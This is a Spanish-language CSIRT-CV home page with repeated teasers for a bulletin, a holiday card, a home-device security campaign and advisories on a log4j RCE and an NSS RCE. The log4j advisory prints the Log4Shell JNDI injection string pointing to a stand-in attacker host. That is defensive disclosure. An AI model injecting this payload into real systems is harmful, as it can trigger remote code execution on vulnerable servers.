Inicio - CSIRT-CV

Inicio

Publicación boletín quincenal

14/01/2022

14/01/2022

14/01/2022

Hoy hemos emitido un nuevo boletín quincenal con un resumen de las noticias y alertas, sobre ciberseguridad, más destacadas de las últimas dos semanas. Todos los suscriptores del boletín quincenal del CSIRT-CV han recibido el último ejemplar en sus correos. Si queréis ser de los primeros en recibir nuestra publicación, podéis suscribiros aquí o, si …

Continuar leyendo "Publicación boletín quincenal"

Hoy hemos emitido un nuevo boletín quincenal con un resumen de las noticias y alertas, sobre ciberseguridad, más destacadas de las últimas dos semanas. Todos los suscriptores del boletín quincenal del CSIRT-CV han recibido el último ejemplar en sus correos. Si queréis ser de los primeros en recibir nuestra publicación, podéis suscribiros aquí o, si …

Continuar leyendo "Publicación boletín quincenal"

Hoy hemos emitido un nuevo boletín quincenal con un resumen de las noticias y alertas, sobre ciberseguridad, más destacadas de las últimas dos semanas. Todos los suscriptores del boletín quincenal del CSIRT-CV han recibido el último ejemplar en sus correos. Si queréis ser de los primeros en recibir nuestra publicación, podéis suscribiros aquí o, si …

Continuar leyendo "Publicación boletín quincenal"

Tarjeta Navidad 2021 CSIRT-CV

23/12/2021

23/12/2021

23/12/2021

Desde CSIRT-CV queremos desearos unas Felices Fiestas Navideñas. En este año que acaba, los dispositivos tecnológicos han estado formando parte de nuestro día a día. Es por ello que desde CSIRT-CV, hemos querido dedicar nuestra última campaña del año a proporcionaros algunos consejos que mejorarán la ciberseguridad en el uso de los dispositivos domésticos. Sigue …

Continuar leyendo "Tarjeta Navidad 2021 CSIRT-CV"

Desde CSIRT-CV queremos desearos unas Felices Fiestas Navideñas. En este año que acaba, los dispositivos tecnológicos han estado formando parte de nuestro día a día. Es por ello que desde CSIRT-CV, hemos querido dedicar nuestra última campaña del año a proporcionaros algunos consejos que mejorarán la ciberseguridad en el uso de los dispositivos domésticos. Sigue …

Continuar leyendo "Tarjeta Navidad 2021 CSIRT-CV"

Desde CSIRT-CV queremos desearos unas Felices Fiestas Navideñas. En este año que acaba, los dispositivos tecnológicos han estado formando parte de nuestro día a día. Es por ello que desde CSIRT-CV, hemos querido dedicar nuestra última campaña del año a proporcionaros algunos consejos que mejorarán la ciberseguridad en el uso de los dispositivos domésticos. Sigue …

Continuar leyendo "Tarjeta Navidad 2021 CSIRT-CV"

Campaña CSIRT-CV: «Diez recomendaciones de ciberseguridad para equipos domésticos»

22/12/2021

22/12/2021

22/12/2021

¿Eres consciente de los ciberriesgos que corres diariamente usando tus dispositivos portátiles? Si la respuesta es no, te conviene seguir los consejos que te vamos a dar en esta nueva campaña de CSIRT-CV que empieza hoy: “Diez recomendaciones de ciberseguridad para equipos domésticos”. Durante la última década hemos observado un descenso de los precios de …

Continuar leyendo "Campaña CSIRT-CV: «Diez recomendaciones de ciberseguridad para equipos domésticos»"

¿Eres consciente de los ciberriesgos que corres diariamente usando tus dispositivos portátiles? Si la respuesta es no, te conviene seguir los consejos que te vamos a dar en esta nueva campaña de CSIRT-CV que empieza hoy: “Diez recomendaciones de ciberseguridad para equipos domésticos”. Durante la última década hemos observado un descenso de los precios de …

Continuar leyendo "Campaña CSIRT-CV: «Diez recomendaciones de ciberseguridad para equipos domésticos»"

¿Eres consciente de los ciberriesgos que corres diariamente usando tus dispositivos portátiles? Si la respuesta es no, te conviene seguir los consejos que te vamos a dar en esta nueva campaña de CSIRT-CV que empieza hoy: “Diez recomendaciones de ciberseguridad para equipos domésticos”. Durante la última década hemos observado un descenso de los precios de …

Continuar leyendo "Campaña CSIRT-CV: «Diez recomendaciones de ciberseguridad para equipos domésticos»"

RCE en la librería log4j de Java

10/12/2021

10/12/2021

10/12/2021

El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena. ANÁLISIS CVE-2021-44228 La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). …

Continuar leyendo "RCE en la librería log4j de Java"

El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena. ANÁLISIS CVE-2021-44228 La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). …

Continuar leyendo "RCE en la librería log4j de Java"

El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena. ANÁLISIS CVE-2021-44228 La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). …

Continuar leyendo "RCE en la librería log4j de Java"

RCE en la validación de certificados del servicio NSS

09/12/2021

09/12/2021

09/12/2021

Recientemente se encontró una vulnerabilidad RCE en la validación de certificados del servicio NSS. NSS es un servicio que permite la resolución de nombres de usuario y claves mediante el acceso a diferentes bases de datos . ANÁLISIS NSS es vulnerable a un desbordamiento de pila cuando se manejan firmas DSA o RSA-PSS codificadas …

Continuar leyendo "RCE en la validación de certificados del servicio NSS"

Recientemente se encontró una vulnerabilidad RCE en la validación de certificados del servicio NSS. NSS es un servicio que permite la resolución de nombres de usuario y claves mediante el acceso a diferentes bases de datos . ANÁLISIS NSS es vulnerable a un desbordamiento de pila cuando se manejan firmas DSA o RSA-PSS codificadas …

Continuar leyendo "RCE en la validación de certificados del servicio NSS"

Recientemente se encontró una vulnerabilidad RCE en la validación de certificados del servicio NSS. NSS es un servicio que permite la resolución de nombres de usuario y claves mediante el acceso a diferentes bases de datos . ANÁLISIS NSS es vulnerable a un desbordamiento de pila cuando se manejan firmas DSA o RSA-PSS codificadas …

Continuar leyendo "RCE en la validación de certificados del servicio NSS"

TE INTERESA